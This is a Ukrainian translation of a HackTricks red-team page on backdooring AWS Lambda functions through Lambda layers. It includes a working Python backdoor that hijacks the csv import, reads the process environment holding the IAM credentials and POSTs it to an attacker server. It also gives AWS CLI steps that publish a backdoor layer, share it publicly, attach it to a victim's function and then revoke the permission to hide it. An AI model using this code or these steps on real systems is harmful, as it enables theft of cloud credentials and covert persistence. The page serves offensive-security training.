AWS - Lambda Layers Persistence

Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Шари Lambda

Шар Lambda - це .zip-архів, який може містити додатковий код або інший вміст. Шар може містити бібліотеки, власний рантайм, дані або файли конфігурації.

Можливо включити до п'яти шарів на функцію. Коли ви включаєте шар у функцію, вміст розпаковується в каталог /opt в середовищі виконання.

За замовчуванням, шари, які ви створюєте, приватні для вашого облікового запису AWS. Ви можете вибрати поділитися шаром з іншими обліковими записами або зробити шар публічним. Якщо ваші функції використовують шар, який опублікував інший обліковий запис, ваші функції можуть продовжувати використовувати версію шару після його видалення або після скасування вашого дозволу на доступ до шару. Однак ви не можете створити нову функцію або оновити функції, використовуючи видалену версію шару.

Функції, розгорнуті як зображення контейнера, не використовують шари. Замість цього ви упаковуєте ваш вибраний рантайм, бібліотеки та інші залежності в зображення контейнера під час побудови зображення.

Шлях завантаження Python

Шлях завантаження, який використовуватиме Python в lambda, є наступним:

['/var/task', '/opt/python/lib/python3.9/site-packages', '/opt/python', '/var/runtime', '/var/lang/lib/python39.zip', '/var/lang/lib/python3.9', '/var/lang/lib/python3.9/lib-dynload', '/var/lang/lib/python3.9/site-packages', '/opt/python/lib/python3.9/site-packages']

Перевірте, як друга та третя позиції зайняті каталогами, де розпаковуються файли lambda layers: /opt/python/lib/python3.9/site-packages та /opt/python

Якщо зловмисник зміг вставити задній прохід в використаний шар lambda або додати один, який буде виконувати довільний код при завантаженні загальної бібліотеки, він зможе виконати шкідливий код при кожному виклику lambda.

Отже, вимоги такі:

  • Перевірте бібліотеки, які завантажуються кодом жертви

  • Створіть проксі-бібліотеку з шарами lambda, яка буде виконувати власний код та завантажувати оригінальну бібліотеку.

Попередньо завантажені бібліотеки

Під час зловживання цією технікою я зіткнувся з труднощами: Деякі бібліотеки вже завантажені в час виконання python, коли ваш код виконується. Я очікував знайти такі речі, як os або sys, але навіть бібліотека json була завантажена. Для зловживання цією технікою постійності, код повинен завантажити нову бібліотеку, яка не завантажується під час виконання коду.

З кодом python, подібним до цього, можна отримати список бібліотек, які попередньо завантажені в середовищі виконання python в lambda:

import sys

def lambda_handler(event, context):
return {
'statusCode': 200,
'body': str(sys.modules.keys())
}

І ось це список (перевірте, що бібліотеки, такі як os або json, вже там)

'sys', 'builtins', '_frozen_importlib', '_imp', '_thread', '_warnings', '_weakref', '_io', 'marshal', 'posix', '_frozen_importlib_external', 'time', 'zipimport', '_codecs', 'codecs', 'encodings.aliases', 'encodings', 'encodings.utf_8', '_signal', 'encodings.latin_1', '_abc', 'abc', 'io', '__main__', '_stat', 'stat', '_collections_abc', 'genericpath', 'posixpath', 'os.path', 'os', '_sitebuiltins', 'pwd', '_locale', '_bootlocale', 'site', 'types', 'enum', '_sre', 'sre_constants', 'sre_parse', 'sre_compile', '_heapq', 'heapq', 'itertools', 'keyword', '_operator', 'operator', 'reprlib', '_collections', 'collections', '_functools', 'functools', 'copyreg', 're', '_json', 'json.scanner', 'json.decoder', 'json.encoder', 'json', 'token', 'tokenize', 'linecache', 'traceback', 'warnings', '_weakrefset', 'weakref', 'collections.abc', '_string', 'string', 'threading', 'atexit', 'logging', 'awslambdaric', 'importlib._bootstrap', 'importlib._bootstrap_external', 'importlib', 'awslambdaric.lambda_context', 'http', 'email', 'email.errors', 'binascii', 'email.quoprimime', '_struct', 'struct', 'base64', 'email.base64mime', 'quopri', 'email.encoders', 'email.charset', 'email.header', 'math', '_bisect', 'bisect', '_random', '_sha512', 'random', '_socket', 'select', 'selectors', 'errno', 'array', 'socket', '_datetime', 'datetime', 'urllib', 'urllib.parse', 'locale', 'calendar', 'email._parseaddr', 'email.utils', 'email._policybase', 'email.feedparser', 'email.parser', 'uu', 'email._encoded_words', 'email.iterators', 'email.message', '_ssl', 'ssl', 'http.client', 'runtime_client', 'numbers', '_decimal', 'decimal', '__future__', 'simplejson.errors', 'simplejson.raw_json', 'simplejson.compat', 'simplejson._speedups', 'simplejson.scanner', 'simplejson.decoder', 'simplejson.encoder', 'simplejson', 'awslambdaric.lambda_runtime_exception', 'awslambdaric.lambda_runtime_marshaller', 'awslambdaric.lambda_runtime_client', 'awslambdaric.bootstrap', 'awslambdaric.__main__', 'lambda_function'

Це список бібліотек, які lambda включає встановленими за замовчуванням: https://gist.github.com/gene1wood/4a052f39490fae00e0c3

Підставлення в Lambda Layer

У цьому прикладі давайте припустимо, що цільовий код імпортує csv. Ми будемо підставляти імпорт бібліотеки csv.

Для цього ми створимо каталог csv з файлом __init__.py в ньому за шляхом, який завантажується lambda: /opt/python/lib/python3.9/site-packages Потім, коли lambda виконується і намагається завантажити csv, наш файл __init__.py буде завантажений і виконаний. Цей файл повинен:

  • Виконати нашу вразливість

  • Завантажити оригінальну бібліотеку csv

Ми можемо це зробити за допомогою:

import sys
from urllib import request

with open("/proc/self/environ", "rb") as file:
url= "https://attacker13123344.com/" #Change this to your server
req = request.Request(url, data=file.read(), method="POST")
response = request.urlopen(req)

# Remove backdoor directory from path to load original library
del_path_dir = "/".join(__file__.split("/")[:-2])
sys.path.remove(del_path_dir)

# Remove backdoored loaded library from sys.modules
del sys.modules[__file__.split("/")[-2]]

# Load original library
import csv as _csv

sys.modules["csv"] = _csv

Потім створіть zip-архів з цим кодом за шляхом python/lib/python3.9/site-packages/__init__.py та додайте його як шар лямбди.

Ви можете знайти цей код за посиланням https://github.com/carlospolop/LambdaLayerBackdoor

Інтегрований вразливий код надсилатиме IAM-повноваження на сервер ПЕРШИЙ РАЗ, коли його викликають або ПІСЛЯ скидання контейнера лямбди (зміна коду або холодна лямбда), але інші техніки, такі як наступні, також можуть бути інтегровані:

pageAWS - Steal Lambda Requests

Зовнішні шари

Зверніть увагу, що можна використовувати шари лямбди з зовнішніх облікових записів. Більше того, лямбда може використовувати шар з зовнішнього облікового запису навіть якщо у нього немає дозволів. Також зверніть увагу, що максимальна кількість шарів, яку може мати лямбда, - 5.

Отже, для покращення універсальності цієї техніки зловмисник може:

  • Вразити існуючий шар користувача (нічого зовнішнього)

  • Створити шар у своєму обліковому записі, надати користувачеві доступ до використання шару, налаштувати шар в лямбді жертви та видалити дозвіл.

  • Лямбда все ще зможе використовувати шар, а жертва не матиме простого способу завантажити код шарів (окрім отримання оберненого шелу всередині лямбди)

  • Жертва не побачить зовнішні шари, використані з aws lambda list-layers

# Upload backdoor layer
aws lambda publish-layer-version --layer-name "ExternalBackdoor" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"

# Give everyone access to the lambda layer
## Put the account number in --principal to give access only to an account
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion

## Add layer to victims Lambda

# Remove permissions
aws lambda remove-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1
Вивчайте хакінг AWS від нуля до героя з htARTE (HackTricks AWS Red Team Expert)!

Інші способи підтримки HackTricks:

Last updated